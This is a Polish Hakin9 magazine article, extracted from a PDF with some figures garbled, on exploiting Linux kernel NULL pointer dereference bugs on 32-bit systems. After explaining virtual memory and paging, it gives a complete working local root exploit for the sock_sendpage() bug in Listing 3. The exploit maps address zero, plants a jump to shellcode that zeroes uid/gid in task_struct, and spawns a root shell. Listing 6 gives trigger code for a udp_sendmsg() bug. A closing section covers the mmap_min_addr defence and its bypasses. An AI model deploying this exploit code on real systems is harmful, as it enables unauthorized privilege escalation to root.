background image

34

 

HAKIN9

ATAK

1/2010

N

ull pointer dereference jest kolejnym 
typem błędów, jakie może popełnić 
osoba pisząca kod w języku C. Już 

w 1994 roku opublikowany został exploit, 
wykorzystujący taką podatność w bibliotecznej 
funkcji 

pt _ chmod()

. W ciągu ostatnich kilku 

miesięcy, ilość znalezionych bugów dereferencji 
wskaźnika znacznie się zwiększyła. Większość z 
nich znajdowała się w jądrze Linuksa. 

Artykuł ten ma na celu przedstawić 

Czytelnikowi sposób wykorzystania błędu typu 
Null Pointer Dereference w podatnym kernelu, 
lecz aby w pełni zrozumieć opisywaną technikę, 
musimy wiedzieć jak działa pamięć wirtualna 
procesu, co się w niej znajduje, oraz jak 
możemy nią manipulować.

Anatomia procesu w pamięci

Systemy uniksowe, wykorzystują płaski model 
pamięci (ang. flat model). Cały trik polega na 
tym, że dzięki temu zastosowaniu, możemy 
odwołać się do każdego bajtu pamięci, poprzez 
adres z puli od 0x00000000 do 0xffffffff. 
Uwarunkowane to jest pojemnością rejestrów 
jakie posiada procesor. Każdy z nich ma 32 
bity -> 4 bajty (oprócz rejestrów segmentowych, 
które posiadają 16 bitów), co daje nam 4 GB 
(0xffffffff) pamięci, dostępnej poprzez adres. 
Wszystkie uruchomione programy posiadają 
własne wirtualne bloki pamięci, dzięki czemu 
proces nie może wyjść poza przydzielony mu 
obszar.

DAMIAN OSIENICKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak działa pamięć wirtualna 

procesu w systemach 

linuksowych,

jak wykorzystać błąd Null 

Pointer Dereference w 

podatnym jądrze.

CO POWINIENEŚ 

WIEDZIEĆ

wskazana jest praktyczna 

znajomość języka C oraz 

Asembler,

ogólna znajomość systemu 

Linux.

Jeśli chcemy odwołać się pod jakiś 

adres, to musi on być przedtem zamapowany
Oznacza to tyle, że obszar pamięci, pod który 
chcemy się odwołać, musi w rzeczywistości 
wskazywać w konkretne miejsce pamięci 
fizycznej. Mechanizm translacji adresów 
wirtualnych na fizyczne nazywa się 
stronicowaniem (patrz Ramka). 

Jeśli proces odwoła się do regionu 

pamięci, który nie jest mapowany, to jądro 
wyśle do niego sygnał SIGSEGV, po czym go 
unicestwi. Pamięć programu podzielona jest na 
kilka segmentów. Najważniejsze z nich zostały 
przedstawione na Rysunku 1.

Przykładowo, segmenty text i data oraz 

dynamiczne biblioteki są tworzone dzięki 
systemowej funkcji 

mmap( )

. Jej działanie 

opiera się na mapowaniu pewnego regionu 
pamięci oraz opcjonalnie, na wypełnieniu go 
zawartością pliku. Dla sterty i segmentu bss, 
jądro wykorzystuje wywołanie 

brk()

, a dla 

stosu, swoją wewnętrzną funkcję: 

setup _

arg _ pages( )

.

Lord of the ring0

Jeśli adresy wirtualne są uruchomione, 
to odnoszą się nie tylko do całego 
oprogramowania działającego w systemie, 
ale także do jądra Linuksa. W zasadzie, 
pamięć procesu jest podzielona na 
dostępną dla aplikacji oraz tę dla kernela. 
Kernel ma zarezerwowany 1 GB pamięci 

Stopień trudności

Błędy typu 

NULL Pointer 

Dereference

Nieostrożne operacje na wskaźnikach są źródłem wielu błędów 

które mogą posłużyć do eskalacji przywilejów lub ataków DoS. 

Artykuł opisuje model zarządzania pamięcią wirtualną procesu 

oraz sposób wykorzystania błędów dereferencji wskaźnika, 

w systemach linuksowych, na platformie 32-bitowej.

background image

35

 

HAKIN9 

BŁĘDY TYPU NULL POINTER DEREFERENCE

1/2010

dla siebie oraz tak jak w przypadku 
procesu, nie wykorzystuje jej całej. 
W Linuksie, przestrzeń jądra jest 
mapowana i dostępna pod tym samym 
wirtualnym adresem we wszystkich 
programach, aby cały czas być 
gotowym do uchwycenia przerwań 
lub wywołań systemowych. Ten 1 GB 
przeznaczonego miejsca dla jądra, 
jest mapowany w tablicy stron jako 
specjalnie uprzywilejowany (ring 0). 
Wszelkie bezpośrednie odwołania do 
niego, kończą się zabiciem procesu.

Procesor w czasie wykonywania 

kodu aplikacji użytkownika, pracuje 
z uprawnieniami ring3 (najmniej 
uprzywilejowany). Dopiero gdy proces 
wykona któryś z syscalli, jego uprawnienia 
zmieniają się na ring0.

Nie ma znaczenia czy jesteś 

zalogowany jako root, guest, lub nobody, 
ponieważ uprawnienia te, dotyczą tylko 
procesora.

Studium przypadku

Wskaźniki w języku C to zmienne, 
które przechowują adresy. Najczęściej 
używa się ich, aby wskazywały na 
struktury, ciągi znaków lub funkcje. 
Ogólnie przyjęto, że jeśli w funkcji, 
która miała zwrócić adres do regionu 
pamięci, wystąpił błąd, to zwraca ona 
NULL. Jednak nie zawsze sprawdza 
się tę wartość, co skutkuje błędem 
SIGSEGV, ponieważ NULL to po prostu 
odwołanie do adresu 0x0. Technika 
dereferencji wskaźnika opiera się na 
wcześniejszym mapowaniu tego regionu 
pamięci poprzez funkcję 

mmap()

 oraz 

podstawieniu fałszywych danych, które 
zostaną użyte jako prawidłowe. Jednak 
funkcja 

mmap()

 ma pewne ograniczenia. 

W systemie Linux nie można mapować 
pamięci innego procesu. Tak więc błędy 
tego typu w zwykłych aplikacjach nic 
nam nie dadzą oprócz ataku DoS. Inną 
sprawą jest znalezienie takiej podatności 
w jądrze. Tak jak omawiane to było 
wcześniej, kod jądra znajduje się w 
każdym procesie i nie jest ograniczony 
do operacji, tylko na swoim kawałku 
pamięci. Więc jeśli kernel odwoła się do 
danych spod adresu Null (który został 
wcześniej zamapowany), to ta operacja 
się powiedzie.

Rysunek 1. 

Schemat segmentów w pamięci procesu

������������

�������������������������������������������

����������������

������������

�����������������������

���������������������������������������������������

�����������������

��������������������������������������

��������������������������������������������

�����������������

��������������������������������

������������������

�����������������������������

������������������

��������������������������������������������

����������

����������

����������

����������

}

}

����

����

����������

Rysunek 2. 

Podział trybów pracy procesora

����������
��������
�����������

�������
��������

���������
���������
��������������

����������

�����������

�����

Listing 1. 

Kod funkcji sock_sendpage()

static

 

ssize_t

 

sock_sendpage

(

struct

 

file

 *

file

,

 

struct

 

page

 *

page

,

  

                             

int

 

offset

,

 

size_t

 

size

,

 

loff_t

 *

ppos

,

 

int

 

more

)

  

{

  

        

struct

 

socket

 *

sock

;

  

        

int

 

flags

;

  

        

sock

 = 

file

->

private_data

;

  

        

flags

 = !

(

file

->

f_flags

 & 

O_NONBLOCK

)

 ? 

0

 : 

MSG_DONTWAIT

;

  

        

if

 

(

more

)

  

                

flags

 |= 

MSG_MORE

;

  

        

return

 

sock

->

ops

->

sendpage

(

sock

,

 

page

,

 

offset

,

 

size

,

 

flags

);

  

}

 

background image

ATAK

36

 

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

37

 

HAKIN9 

1/2010

sock_sendpage( )

Przykładowym błędem dereferencji 
wskaźnika, jest luka znaleziona w funkcji 

sock _ sendpage( )

 (Listing 1), która 

znajduje się we wszystkich kernelach 
z serii 2.6 oraz w większości 2.4. W jej 
ostatniej instrukcji, istnieje skok do funkcji, 
której adres przechowuje wskaźnik do 
struktury typu proto_ops. W strukturze 
tej zdefiniowane są wskaźniki do funkcji 
s, które wykonują różne operacje na 
gnieździe (Listing 2).

Błąd polega na niedostatecznym 

zainicjalizowaniu tejże struktury, 
poprzez makro SOCKOPS_WRAP( ). 
Jeśli utworzony socket, będzie jednym 
z wymienionych rodzin protokołów: 
PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25, 
PF_AX25, PF_BLUETOOTH, PF_IUCV, PF_
INET6, PF_PPPOX, PF_ISDN, to wskaźnik 
w proto_ops do funkcji 

sendpage()

, nie 

zostanie przypisany, w konsekwencji 
będzie równy NULL. Wcześniejsze 
umieszczenie w tym miejscu instrukcji dla 
procesora, spowoduje ich wykonanie z 
przywilejami ring0.

Shellcode

Aby podnieść przywileje naszego 
procesu, wykorzystamy standardową 
metodę nadpisywania pól struktury 
task_struct, które określają uid oraz gid, 
z jakimi został uruchomiony program. 
Do tego zadania potrzebny nam będzie 
adres 

task _ struct

. Po aktualizacji 

naszego uid i gid, musimy powrócić do 
user land bez wywołania żadnego błędu. 

Rysunek 3. 

Schemat stosu w trybie jądra

����

�����������

����

������������

����

Listing 2. 

Część struktury proto_ops

struct

 

proto_ops

 

{

         

int

             

family

;

         

struct

 

module

   *

owner

;

         

int

             

(

*

release

)

   

(

struct

 

socket

 *

sock

);

         

int

             

(

*

bind

)

      

(

struct

 

socket

 *

sock

,

                                       

struct

 

sockaddr

 *

myaddr

,

                                       

int

 

sockaddr_len

);

         

int

             

(

*

connect

)

   

(

struct

 

socket

 *

sock

,

                                       

struct

 

sockaddr

 *

vaddr

,

                                       

int

 

sockaddr_len

,

 

int

 

flags

);

         

int

             

(

*

socketpair

)(

struct

 

socket

 *

sock1

,

                                       

struct

 

socket

 *

sock2

);

                                              

(

.)

         

ssize_t

         

(

*

sendpage

)

  

(

struct

 

socket

 *

sock

,

 

struct

 

page

 *

page

,

                                       

int

 

offset

,

 

size_t

 

size

,

 

int

 

flags

);

         

ssize_t

         

(

*

splice_read

)(

struct

 

socket

 *

sock

,

  

loff_t

 *

ppos

,

                                        

struct

 

pipe_inode_info

 *

pipe

,

 

size_t

 

len

,

 

unsigned

 

int

 

flags

);

 

};

Stronicowanie (ang. pages table) 

Procesory 80386 i nowsze, pracujące w trybie chronionym umożliwiają dowolne mapowanie adresów logicznych na adresy fizyczne – mechanizm 
ten nazywany jest stronicowaniem (ang. paging). Adresy logiczne obejmują całą przestrzeń adresową procesora, czyli 4 GB, niezależnie od tego, ile w 
rzeczywistości w komputerze zainstalowano pamięci. Zadaniem systemu operacyjnego jest odpowiednie mapowanie adresów logicznych na adresy 
pamięci fizycznej, co pozwala zwykłym programom użytkowym, przez cały czas działania, odwoływać się do tych samych adresów logicznych.

Jeśli włączone jest stronicowanie, wówczas cała pamięć (4 GB) dzielona jest na bloki – strony o rozmiarach 4 kB; w procesorach Pentium i 

nowszych możliwe jest także używanie stron o rozmiarach 4 MB. Gdy program odwołuje się do pamięci, podaje adres właściwej komórki pamięci. 
Adres ten jest 32-bitową liczbą, która składa się z trzech części:

•   indeks w katalogu stron (liczba 10-bitowa), 
•   indeks w tablicy stron (liczba 10-bitowa), 
•   przesunięcie w obrębie strony (liczba 12-bitowa). 

Katalog stron zawiera wskaźniki do tablic stron, tablice stron przechowują adresy fizyczne stron (system operacyjny może zarządzać wieloma 
katalogami i tablicami stron).

Zatem pierwsza część adresu wybiera z katalogu stron tablicę stron. Druga część adresu wybiera pozycję z tablicy stron, która wyznacza 

fizyczny adres konkretnej strony. Przesunięcie jest adresem lokalnym w obrębie wybranej strony. Ostatecznie adres fizyczny, na który zamapowano 
adres logiczny, wyznaczany jest z dwóch składników: adresu fizycznego strony i przesunięcia.

background image

ATAK

36

 

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

37

 

HAKIN9 

1/2010

Gdybyśmy tego nie zrobili, jądro zabiłoby 
nasz proces, któremu przed chwilą 
podnieśliśmy uprawnienia.

Adres task_struct

W Linuksie, stos trybu jądra umieszczono 
w jednym obszarze pamięci, razem ze 
strukturą thread_info (pierwsze pole 
tej struktury to wskaźnik do task_struct 
aktualnego procesu). Obszar ten ma 

zazwyczaj długość 8 kB (czasami jest 
to 4 kB) oraz zawsze rozpoczyna się 
adresem, który jest wielokrotnością 8 192 
bajtów (2

13

) (Rysunek 2).

Dzięki takiej konstrukcji, kernel może 

odwołać się do thread_info w bardzo 
prosty sposób, mianowicie poprzez 
maskowanie 13 najmniej znaczących 
bitów (12 w przypadku 4 kB) rejestru ESP. 
Po wykonaniu tej czynności, otrzymujemy 

adres thread_info oraz jednocześnie, 
wskaźnik do struktury task_struct.

Powrót do user land

W przypadku błędu w 

sock _ sendpage( )

,

powrót do przestrzeni użytkownika 
może się odbyć poprzez instrukcję ret, 
ponieważ nasz shellcode wywoływany 
jest w kontekście nowej funkcji. Więc 
jeśli rejestry ebp i esp pozostaną 

Listing 3. 

Kod exploita na sock_sendpage()

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/mman.h>
#include <sys/stat.h>

static

 

unsigned

 

int

 

uid

,

 

gid

,

 

cs

,

 

ss

;

static

 

unsigned

 

long

 

esp

;

void

 

root_exec

()

 

{

   

if

 

(

getuid

()

 != 

0

)

 

{

      

printf

(

"Shellcode fail\n"

);

      

exit

(

1

);

   

}

   

execl

(

"/bin/sh"

,

 

"sh"

,

 

"-i"

,

 

NULL

);

}

void

 

shellcode

()

 

{

   

int

 

i

,

 *

p

;

   

unsigned

 

long

 

current

;

   

asm

 

volatile

 

(

 

"movl %%esp, %0;"

 : 

"=r"

(

current

)

 

);

   

current

 &= 

0xffffe000

;

   

current

 = *

(

unsigned

 

long

 *

)

current

;

   

p

 = 

(

int

 *

)(

current

 + 

0x2bc

);

   

   

p

 = 

(

int

 *

)

*

p

;

   

for

(

i

 = 

0

;

 

i

 < 

300

;

 

i

++

)

 

{

      

if

(

p

[

0

]

 == 

uid

 && 

p

[

1

]

 == 

uid

 && 

p

[

4

]

 == 

gid

 && 

p

[

5

]

 

== 

gid

)

 

{

          

p

[

0

]

 = 

p

[

1

]

 = 

0

;

         

p

[

4

]

 = 

p

[

5

]

 = 

0

;

         

break

;

      

}

      

p

++

;

   

}

   

asm

 

volatile

 

(

      

"movl %0, 0x10(%%esp) ;"

      

"movl %1, 0x0c(%%esp) ;"

      

"movl %2, 0x08(%%esp) ;"

      

"movl %3, 0x04(%%esp) ;"

      

"movl %4, 0x00(%%esp) ;"

      

"iret"

      : : 

"r"

 

(

ss

),

 

"r"

 

(

esp

),

 

"r"

 

(

0

),

          

"r"

 

(

cs

),

 

"r"

 

(

root_exec

)

       

);

}

int

 

main

(

void

)

 

{

   

int

 

sock

,

 

file

;

   

void

 *

page

;

   

char

 

template

[]

 = 

"/tmp/exploit.XXXXXX"

;

   

uid

 = 

getuid

();

   

gid

 = 

getgid

();

   

asm

 

volatile

 

(

 

"movl %%esp, %0\n"

 : 

"=r"

 

(

esp

)

 

);

   

asm

 

volatile

 

(

 

"mov %%ss, %0\n"

 : 

"=r"

 

(

ss

)

 

);

   

asm

 

volatile

 

(

 

"mov %%cs, %0\n"

 : 

"=r"

 

(

cs

)

 

);

   

if

((

page

 = 

mmap

(

NULL

,

 

0x1000

,

 

PROT_READ

 | 

PROT_WRITE

,

 

MAP_PRIVATE

 | 

MAP_FIXED

 | 

MAP_

ANONYMOUS

,

 

0

,

 

0

))

 == 

MAP_FAILED

)

 

{

      

perror

(

"mmap"

);

      

exit

(

1

);

   

}

   
   *

(

char

 *

)

0

 = 

'\xff'

;

   *

(

char

 *

)

1

 = 

'\x25'

;

   *

(

unsigned

 

long

 *

)

2

 = 

(

unsigned

 

long

)

6

;

   *

(

unsigned

 

long

 *

)

6

 = 

(

unsigned

 

long

)

shellcode

;

   

if

((

file

 = 

mkstemp

(

template

))

 < 

0

)

 

{

      

perror

(

"mkstemp"

);

      

exit

(

1

);

   

}

   

if

((

sock

 = 

socket

(

PF_PPPOX

,

 

SOCK_DGRAM

,

 

0

))

 < 

0

)

 

{

      

perror

(

"socket"

);

      

exit

(

1

);

   

}

   

unlink

(

template

);

   

ftruncate

(

file

,

 

PAGE_SIZE

);

   

sendfile

(

sock

,

 

file

,

 

NULL

,

 

PAGE_SIZE

);

}

background image

ATAK

38

 

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

39

 

HAKIN9 

1/2010

niezmienione, to jądro samo powróci 
do przestrzeni użytkownika. Gdy nie 
znajdujemy się w takiej komfortowej 
sytuacji, to musimy sami wywołać 
instrukcję, która spowoduje powrót z 
kernel mode do user land. W Linuksie 
do dyspozycji mamy dwa wyjścia, użycie 

instrukcji sysexit bądź instrukcji iret. My 
wykorzystamy tę drugą.  Jej działanie jest 
proste: pobiera ona pięć argumentów ze 
stosu:

•   adres instrukcji, od której można 

wznowić wykonywanie programu,

•   wartość rejestru segmentowego CS,
•   zachowane flagi,
•   wartość rejestru ESP,
•   wartość rejestru segmentowego SS,

po czym przenosi je do odpowiednich 
rejestrów procesora. 

W pierwszym argumencie umieścimy 

adres funkcji wywołującej powłokę. 
Wartości rejestrów CS, SS i ESP 
pobierzemy z wcześniej utworzonych 
kopii. W przypadku rejestru flag, nie 
musimy ustawiać żadnej z nich, więc 
przekażemy po prostu zero. 

Exploit

Cały kod exploita znajduje się na Listingu 3.

Na początku inicjalizujemy wszystkie 

zmienne statyczne, których będziemy 
używać w shellcode. Potem wywołujemy 
funkcję 

mmap( )

 z flagami, które 

wymuszają mapowanie adresu Null 
oraz informującymi, że mapownaie nie 
jest oparte na żadnym pliku. Kolejne linie 
kopiują poniższą  instrukcję skoku (w 
języku maszynowym) pod 0x0:

   jmp    *0x6

a następnie adres funkcji shellcode. Dalej 
przebiega inicjalizacja pliku oraz gniazda, 
potrzebnych do wywołania błędu. Dzięki 
funkcji 

sendfile( )

, jądro uruchamia 

sock _ sendpage( )

, po czym skacze 

pod adres Null. Umieszczone tam 
instrukcje, przenoszą działanie programu 
do funkcji 

shellcode( )

. Jedynym jej 

elementem, który nie został omówiony, jest 
pętla 

for( )

. Literuje ona całą strukturę 

task _ struct

 (Listing 4), w poszukiwaniu 

uid oraz gid, z jakimi został uruchomiony 
proces, po czym ustanawia jego nową 
wartość. Po wyjściu z przestrzeni jądra, 
uruchamiamy powłokę z prawami roota.

udp_sendmsg()

Innym ciekawym przykładem jest błąd 
znaleziony w funkcji 

udp _ sendmsg()

Polega on na tym, że pointer wskazujący 
na strukturę rtable, zostaje zinicjowany 
wartością Null. 

Doprowadzając do odpowiednich 

warunków, pointer ten zostaje przekazany 
bez żadnych modyfikacji do argumentów 
funkcji 

ip _ append _ data()

, która 

Listing 4. 

Część struktury task_struct

struct

 

task_struct

 

{

        

volatile

 

long

 

state

;

    

/* -1 unrunnable, 0 runnable, >0 stopped */

        

void

 *

stack

;

        

atomic_t

 

usage

;

        

unsigned

 

int

 

flags

;

     

/* per process flags, defined below */

        

unsigned

 

int

 

ptrace

;

        

int

 

lock_depth

;

         

/* BKL lock depth */

      

(

.)

/* process credentials */

        

uid_t

 

uid

,

euid

,

suid

,

fsuid

;

        

gid_t

 

gid

,

egid

,

sgid

,

fsgid

;

        

struct

 

group_info

 *

group_info

;

        

kernel_cap_t

   

cap_effective

,

 

cap_inheritable

,

 

cap_permitted

,

 

cap_bset

;

        

struct

 

user_struct

 *

user

;

        

unsigned

 

securebits

;

      

(

.)

};

Listing 5. 

Część funkcji udp_sendmsg()

int

 

udp_sendmsg

(

struct

 

kiocb

 *

iocb

,

 

struct

 

sock

 *

sk

,

 

struct

 

msghdr

 *

msg

,

 

size_t

 

len

){

   

(

.)

   

struct

 

rtable

 *

rt

 = 

NULL

;

   

(

.)

   

if

 

(

up

->

pending

)

 

{

   

/*

   * There are pending frames.
   * The socket lock must be held while it's corked.
   */

      

lock_sock

(

sk

);

      

if

 

(

likely

(

up

->

pending

))

 

{

         

if

 

(

unlikely

(

up

->

pending

 != 

AF_INET

))

 

{

            

release_sock

(

sk

);

            

return

 -

EINVAL

;

         

}

         

goto

 

do_append_data

;

      

}

      

release_sock

(

sk

);

   

}

   

(

.)

do_append_data:

   

up

->

len

 += 

ulen

;

    

err

 = 

ip_append_data

(

sk

,

 

ip_generic_getfrag

,

 

msg

->

msg_iov

,

 

ulen

,

 

   

sizeof

(

struct

 

udphdr

),

 &

ipc

,

 

rt

,

 

   

corkreq

 ? 

msg

->

msg_flags

|

MSG_MORE

 : 

msg

->

msg_flags

);

   

if

 

(

err

)

   

udp_flush_pending_frames

(

sk

);

   

else

 

if

 

(

!

corkreq

)

   

err

 = 

udp_push_pending_frames

(

sk

,

 

up

);

   

release_sock

(

sk

);

   

(

.)

background image

ATAK

38

 

HAKIN9 1/2010

BŁĘDY TYPU NULL POINTER DEREFERENCE

39

 

HAKIN9 

1/2010

wykonuje operacje na strukturze 
przez niego wskazywanej. Posiadając 
władzę nad strukturą rtable, jesteśmy w 
stanie modyfikować każde jej pole, a w 
konsekwencji, wykonać nasz kod na 
poziomie ring0. 

Najbezpieczniejszym wyjściem 

jest wykorzystanie wskaźnika funkcji 
(*output)(struct sk_buff*) zawartym w 
unii dst_entry. Wywoływany jest on przez 
funkcję 

dst _ output()

, którą z kolei 

wywołuje makro NF_HOOK():

#define NF_HOOK(pf, hook, skb, indev, 

outdev, okfn)   
(okfn)(skb)

Do uchwycenia błędu musimy stworzyć 
gniazdo UDP i jego nagłówek, a następnie 
wywołać funkcję 

sendmsg()

 dwukrotnie. 

Za drugim razem funkcja 

udp _

sendmsg()

 znów skoczy do etykiety do_

append_data, po czym spróbuje wysłać 
nasz pakiet, wykonując przy tym wcześniej 
wspomniane makro NF_HOOK(). Jako 
że wskaźnik output będzie wskazywać 
na naszą funkcję, to zostanie ona 
wykonana przez jądro. Reszta scenariusza 

jest już znana. Warto samodzielnie 
przeanalizować cały ten schemat w 
źródłach Linuksa, gdyż umiejętność 
odnalezienia się wielu różnych strukturach 
oraz funkcjach na nich pracujących, jest 
bardzo cenna (nieocenionym narzędziem 
do tego będzie strona lxr.linux.no).

Obrona

Deweloperzy jądra w wersji 2.6.23, 
wprowadzili minimalny adres, jaki może 
zostać mapowany (/proc/sys/vm/mmap_
min_addr
). Skutecznie uniemożliwia 
to wykorzystywanie błędów typu Null 
Pointer Dereference. Pierwszy bypass 
został odkryty w funkcji 

do _ brk()

, która 

służy do alokacji miejsca na stercie. 
Błąd polegał na niedostatecznym 
sprawdzaniu, czy dany region pamięci 
może być mapowany. Alokując duże 
regiony pamięci poprzez funkcję 

malloc()

, bądź nawet funkcję 

mmap()

 

(obie korzystają z do_brk()), w końcu 
udałoby się osiągnąć adres Null. Błąd 
został naprawiony w wersji 2.6.24-rc5.

W czerwcu tego roku, Julien Tinnes 

oraz Tavis Ormandy, zaprezentowali nową 
technikę obejścia mmap_min_addr, która 

wykorzystuje demon do obsługi dźwięku, 
zainstalowany we wszystkich popularnych 
dystrybucjach. Linux pozwala na 
mapowanie adresu Null programom, które 
mają ustawiony bit setuid (gdyż programy 
z bitem suid posiadają CAP_SYS_RAWIO 
capability
 co w rzeczywistości, pozwala 
na mapowanie adresu Null). Aby to 
wykorzystać, program taki musi jeszcze 
wykonać nasz kod, bez wywoływania go 
jako nowego procesu. Julien i Tavis użyli 
do tego zadania pulseaudio, który ma 
standardowo ustawiony bit setuid oraz 
pozwala na użycie dynamicznej biblioteki, 
wybranej przez użytkownika (oczywiście 
pulseaudio zrzuca przedtem uprawnienia). 
Ciekawą informacją jest to, że SELinux 
w standardowych ustawieniach, zezwala 
pulseaudio na mapowanie adresu Null, 
co w połączeniu z wykonaniem kodu 
na poziomie ring0, daje atakującemu 
możliwość całkowitego obejścia 
zabezpieczeń stosowanych przez SELinux 
czy AppArmor.

W wersji 2.6.31-rc3 potraktowano 

powyższy bypass mmap_min_addr 
jako podatność jądra, oraz usunięto 
ją, wykorzystując do tego celu łatę 
zaproponowaną przez odkrywców 
podatności.

Podsumowanie

Wykorzystywanie błędów, znajdujących się 
w jądrze Linuksa, jest pewnego rodzaju 
sztuką. Opublikowanie podatności w jądrze, 
czy napisanie PoC na błąd, który uważany 
był za niemożliwy do eksploitacji, łączy się 
z szacunkiem i uznaniem w środowisku. 
Artykuł ten omówił tylko podstawy, jakie 
każda osoba interesująca się pisaniem 
eksploitów powinna znać. Istnieje wiele 
technik, których można użyć. Ucieczka z 
więzienia chroot, zablokowanie SELinux, 
czy zdalny atak na jądro, to tylko przykłady. 
Widzimy, że wszystkie błędy, znajdujące 
się na poziomie jądra, są bardzo groźne w 
skutkach, dlatego jego ciągła aktualizacja 
jest bardzo ważnym elementem w 
zapewnieniu ochrony systemowi.

Damian Osienicki

Autor studiuje informatykę w Polsko – Japońskiej 

Wyższej Szkole Technik Komputerowych. W wolnych 

chwilach pisze programy w języku C, Asemblerze, 

Pythonie oraz zgłębia działanie systemu Linux. Członek 

grupy u-Crew oraz Gabspan.

Kontakt z autorem: ethoxyz@gmail.com

Listing 6. 

Uchwycenie błędu w udp_sendmsg()

   

struct

 

msghdr

 

header

;

   

struct

 

sockaddr_in

 

address

;

   

int

 

sock

;

   

sock

 = 

socket

(

PF_INET

,

 

SOCK_DGRAM

,

 

0

);

   

if

 

(

sock

 == -

1

)

 

{

      

printf

(

"[-] can't create socket\n"

);

      

exit

(

-

1

);

   

}

   

memset

(

&

header

,

 

0

,

 

sizeof

(

struct

 

msghdr

));

   

memset

(

&

address

,

 

0

,

 

sizeof

(

struct

 

sockaddr_in

));

   

address

.

sin_family

 = 

AF_INET

;

   

address

.

sin_addr

.

s_addr

 = 

inet_addr

(

"127.0.0.1"

);

   

address

.

sin_port

 = 

htons

(

22

);

   

header

.

msg_name

 = &

address

;

   

   

header

.

msg_namelen

 = 

sizeof

(

address

);

   

// offset wskaźnika (*output)(struct sk_buff*)

   *

(

unsigned

 

long

 *

)(

0x74

)

 = 

(

unsigned

 

long

)

shellc0de

;

   

sendmsg

(

sock

,

 &

header

,

 

MSG_MORE

 | 

MSG_PROXY

);

   

sendmsg

(

sock

,

 &

header

,

 

0

);

   

close

(

sock

);

W Sieci

•   wikipedia.org (http://pl.wikipedia.org/wiki/Stronicowanie_pamięci),
•   blog.cr0.org (http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html).